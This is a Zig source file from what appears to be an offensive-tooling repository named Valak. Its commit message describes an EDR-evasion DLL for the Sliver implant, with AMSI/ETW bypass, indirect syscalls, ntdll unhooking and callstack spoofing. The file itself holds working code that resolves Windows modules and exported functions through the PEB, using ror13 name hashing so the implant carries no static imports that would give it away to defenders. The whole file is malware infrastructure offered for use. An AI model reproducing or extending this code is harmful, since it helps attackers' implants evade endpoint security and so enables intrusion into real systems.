Files
Valak/evasion/resolve.zig
T
SISTA fe2726a430 valak evasion dll for sliver
evasion/ - zig dll with rc4 encrypted sleep, hwbp amsi/etw bypass,
freshycalls indirect syscall dispatch, callstack spoofing via asm
trampoline, ntdll unhooking, module stomping, token manipulation.
all techniques verified against dbgman edr tradecraft (may 2026).
ret patch removed (instant detection). comments updated with
detection status on each technique.

go-bridge/ - reflective pe loader + clean go api for sliver
integration. drop this package into sliver's implant/ dir,
replace time.sleep with evasionsleep.

build: zig build -doptimize=releaseFast -> embed dll bytes
2026-07-18 09:30:00 +01:00

194 lines
7.9 KiB
Zig

// PEB-based module and function resolution. No static imports ??? everything resolved at runtime.
const std = @import("std");
const win = @import("win32.zig");
const pe = @import("pe.zig");
// Doubly-linked list node used by Windows loader structures.
// PEB_LDR_DATA chains these to track loaded modules in three orderings.
pub const LIST_ENTRY = extern struct {
Flink: *LIST_ENTRY,
Blink: *LIST_ENTRY,
};
// Loader data block hung off the PEB. Each module list is a circular linked list
// of LDR_DATA_TABLE_ENTRY nodes. InMemoryOrder is the safest to walk ??? InLoadOrder
// can race during DLL load/unload on other threads.
pub const PEB_LDR_DATA = extern struct {
Length: win.ULONG,
Initialized: win.BYTE,
Padding: [3]win.BYTE,
SsHandle: win.LPVOID,
InLoadOrderModuleList: LIST_ENTRY,
InMemoryOrderModuleList: LIST_ENTRY,
InInitializationOrderModuleList: LIST_ENTRY,
};
// One entry per loaded module. Contains the DLL base, image size, and its name.
// The InMemoryOrderLinks list_entry is embedded at a known offset from the struct start ???
// we subtract that offset to get back to the full LDR_DATA_TABLE_ENTRY.
pub const LDR_DATA_TABLE_ENTRY = extern struct {
InLoadOrderLinks: LIST_ENTRY,
InMemoryOrderLinks: LIST_ENTRY,
InInitializationOrderLinks: LIST_ENTRY,
DllBase: win.LPVOID,
EntryPoint: win.LPVOID,
SizeOfImage: win.ULONG,
FullDllName: win.UNICODE_STRING,
BaseDllName: win.UNICODE_STRING,
};
// The Process Environment Block lives at GS:0x60 on x64.
// Only the fields we actually touch are defined ??? the real struct is much larger.
pub const PEB = extern struct {
Reserved1: [2]win.BYTE,
BeingDebugged: win.BYTE,
Reserved2: [1]win.BYTE,
Reserved3: [2]win.LPVOID,
Ldr: *PEB_LDR_DATA,
};
// ror13 hash of a module or function name. Case-insensitive ??? uppercases each byte before mixing.
// Same algorithm used by Hell's Gate and other manual-map tooling for consistency.
pub fn hash_ror13(input: []const u8) u32 {
var hash: u32 = 0;
for (input) |c| {
var c_upper = c;
if (c_upper >= 'a' and c_upper <= 'z') c_upper -= 32;
hash = (hash >> 13) | (hash << 19);
hash +%= c_upper;
}
return hash;
}
// Reads GS:[0x60] to return the PEB pointer.
pub fn get_peb() *PEB {
const ptr: usize = asm volatile ("mov %%gs:0x60, %[ptr]"
: [ptr] "=r" (-> usize),
);
return @as(*PEB, @ptrFromInt(ptr));
}
// Walks InMemoryOrderModuleList looking for a DLL whose ror13-hashed BaseDllName matches.
// Returns the module's base address or null if not found.
pub fn get_module_by_hash(hash: u32) ?*anyopaque {
const peb_ptr = get_peb();
const ldr = peb_ptr.Ldr;
// Walk the circular linked list starting from InMemoryOrderModuleList
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
var entry = head.Flink;
while (entry != head) : (entry = entry.Flink) {
// Subtract the offset of InMemoryOrderLinks to get back to the LDR_DATA_TABLE_ENTRY
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
if (le.BaseDllName.Length == 0) continue;
const buf = le.BaseDllName.Buffer;
const len = le.BaseDllName.Length / 2;
var mod_hash: u32 = 0;
var i: usize = 0;
while (i < len) : (i += 1) {
var c = buf[i];
if (c >= 'a' and c <= 'z') c -= 32;
mod_hash = (mod_hash >> 13) | (mod_hash << 19);
mod_hash +%= @as(u32, c);
}
if (mod_hash == hash) return le.DllBase;
}
return null;
}
// Follows a forwarded export string ("module.function") to resolve the real target.
// Splits on the dot, hashes both halves, looks up the module, then the function within it.
fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque {
const forward_str = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(forward_rva)))));
const str = std.mem.sliceTo(forward_str, 0);
const dot_pos = std.mem.indexOfScalar(u8, str, '.') orelse return null;
const dll_hash = hash_ror13(str[0..dot_pos]);
const func_hash = hash_ror13(str[dot_pos + 1 ..]);
const dll_base = get_module_by_hash(dll_hash) orelse return null;
return get_func_by_hash(dll_base, func_hash);
}
// Parses a module's export directory, hashes each exported name, and returns the matching
// function address. Handles forwarded exports (looking-glass exports that redirect to another DLL).
pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque {
const base_bytes = @as([*]u8, @ptrCast(base));
const dos = @as(*pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes)));
if (dos.e_magic != 0x5A4D) return null;
const nt = @as(*pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
if (nt.Signature != 0x00004550) return null;
const export_dir = nt.OptionalHeader.DataDirectory[0];
if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return null;
const exp = @as(*pe.IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));
if (exp.NumberOfNames == 0 or exp.AddressOfFunctions == 0 or exp.AddressOfNames == 0 or exp.AddressOfNameOrdinals == 0) return null;
const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames)))));
const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)))));
const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)))));
var i: u32 = 0;
while (i < exp.NumberOfNames) : (i += 1) {
if (names[i] == 0) continue;
const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i])))));
const name = std.mem.sliceTo(name_ptr, 0);
if (hash_ror13(name) == func_hash) {
const ordinal = ords[i];
if (ordinal >= exp.NumberOfFunctions) continue;
const rva = funcs[ordinal];
if (rva >= export_dir.VirtualAddress and rva < export_dir.VirtualAddress + export_dir.Size) {
return resolve_forward_string(base_bytes, rva);
}
return @as(*anyopaque, @ptrCast(base_bytes + @as(usize, @intCast(rva))));
}
}
return null;
}
var cached_kernel32: ?*anyopaque = null;
var cached_ntdll: ?*anyopaque = null;
// Three-tier lookup: specific module by hash ??? kernel32 ??? ntdll ??? full PEB module walk.
// Falls back to scanning every loaded module if the requested module isn't found or isn't loaded.
pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque {
if (module_hash != 0) {
if (get_module_by_hash(module_hash)) |base| {
if (get_func_by_hash(base, func_hash)) |f| return f;
}
}
if (cached_kernel32 == null) cached_kernel32 = get_module_by_hash(hash_ror13("kernel32.dll"));
if (cached_kernel32) |base| {
if (get_func_by_hash(base, func_hash)) |f| return f;
}
if (cached_ntdll == null) cached_ntdll = get_module_by_hash(hash_ror13("ntdll.dll"));
if (cached_ntdll) |base| {
if (get_func_by_hash(base, func_hash)) |f| return f;
}
const peb_ptr = get_peb();
const ldr = peb_ptr.Ldr;
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
var entry = head.Flink;
while (entry != head) : (entry = entry.Flink) {
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
if (cached_kernel32) |ck| if (le.DllBase == ck) continue;
if (cached_ntdll) |cn| if (le.DllBase == cn) continue;
if (get_func_by_hash(le.DllBase, func_hash)) |f| return f;
}
return null;
}